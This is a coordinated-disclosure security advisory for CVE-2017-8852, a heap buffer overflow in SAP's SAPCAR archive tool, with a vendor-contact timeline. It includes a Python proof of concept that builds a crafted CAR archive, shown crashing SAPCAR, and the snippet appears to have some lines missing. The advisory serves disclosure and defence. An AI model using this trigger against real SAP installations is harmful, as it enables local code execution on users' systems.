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[CORE-2017-0001] - SAP SAPCAR Heap Based Buffer Overflow Vulnerability
May 10 2017 06:48PM
Core Security Advisories Team (advisories coresecurity com)
1. *Advisory Information*
Title: SAP SAPCAR Heap Based Buffer Overflow Vulnerability
Advisory ID: CORE-2017-0001
Advisory URL: http://www.coresecurity.com/advisories/sap-sapcar-
Date published: 2017-05-10
Date of last update: 2017-05-10
Vendors contacted: SAP
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Heap-based Buffer Overflow [CWE-122]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2017-8852
3. *Vulnerability Description*
SAP  distributes software and packages using an archive program
called SAPCAR .
This program uses a custom archive file format. A memory corruption
vulnerability was found in the parsing of specially crafted archive
files, that could lead to local code execution scenarios.
4. *Vulnerable Packages*
SAPCAR archive tool version 721.510
Other products and versions might be affected, but they were not tested.
5. *Vendor Information, Solutions and Workarounds*
SAP published the following Security Notes:
This vulnerability was discovered and researched by Martin Gallo and
Maximiliano Vidal from Core Security Consulting Services. The
publication of this advisory was coordinated by Alberto Solino from
Core Advisories Team.
7. *Technical Description / Proof of Concept Code*
This vulnerability is caused by a controlled heap buffer overflow when
opening a specially crafted CAR archive file.
The following python code can be used to generate an archive file that
triggers the vulnerability:
from scapy.packet import Raw
from pysap.SAPCAR import *
# We write a file just to have some data to put into the archive
with open("string.txt", "w") as fd:
fd.write("Some string to compress")
# Create a new SAP CAR Archive
f = SAPCARArchive("poc.car", mode="wb", version=SAPCAR_VERSION_200)
# Add the text file
# Replace the blocks in the compressed file with the faulty blocks
f._sapcar.files0.blocks.append(Raw("D>" + "\x00"*30 + "\x00\xff"))
f._sapcar.files0.blocks.append(Raw("A" * 0xffff))
# Write the file
$ ./SAPCAR -tvf poc.car
SAPCAR: processing archive poc.car (version 2.00)
-rw-rw-r-- 23 09 Feb 2017 18:12 string.txt
Segmentation fault (core dumped)
The CAR archive files in its version 2.00 are comprised of an archive
header and a list of archived files . Each archived file has a
header containing the file's metadata, and the content of the file is
split among several blocks.
When the SAPCAR program opens a file containing an archived file block
different than the known ones , it reads an additional 32 bytes of
file metadata. The program then uses the last two bytes of the data
read as a size field, and copies that amount of data into a fixed-
length buffer previously allocated in the heap. As the length field is
not properly validated, the operation results in a heap-based buffer
It's worth mentioning that signature validation doesn't prevent the
vulnerability to be triggered, as the signature file needs to be
extracted from the archive file in order for the validation to be
8. *Report Timeline*
2017-02-15: Core Security sent an initial notification to SAP.
2017-02-16: SAP confirmed the reception of the email and requested the
draft version of the advisory.
2017-02-16: Core Security sent SAP a draft version of the advisory and
informed them we would adjust our publication schedule according with
the release of a solution to the issues.
2017-02-17: SAP confirmed reception of the draft advisory and assigned
the incident ticket 1780137949 for tracking this issue. They will
answer back once the team analyze the report.
2017-03-06: Core Security asked SAP for news about the advisory and
2017-03-08: SAP answered back saying they had troubles generating the
SAPCAR archive. They asked for a pre-built one.
2017-03-08: Core Security researcher sent a PoC SAPCAR archive that can
trigger the vulnerability. SAP confirmed reception.
2017-03-08: SAP asked for GPG key for one of the researchers involved
in the discovery. Core Security sent (again) the key. SAP confirmed
2017-03-13: SAP confirmed they could reproduce the vulnerability. They
said they cannot commit to a publication date yet, but they aim at May
9th, although it could fall in April Patch day or postpone after May.
2017-03-13: Core Security thanked SAP for the tentative date and
informed them we would publish our security advisory accordingly upon
2017-04-03: Core Security asked SAP for an update about the final
publication date for this vulnerability's patch.
2017-04-05: SAP confirmed they will be able to release the fix in May,
although there could be chances to release it in April. They will
confirm as soon as possible.
2017-04-05: Core Security thanked SAP for the update and asked for a
security note number and CVE (if available) to include in the final
2017-04-10: SAP informed the security note for this vulnerability and
confirmed they will be releasing the fix in May 9th. Core Security
2017-05-08: SAP informed the release of the security note and the
credits included in it. Core Security confirmed reception.
2017-05-10: Advisory CORE-2017-0001 published.
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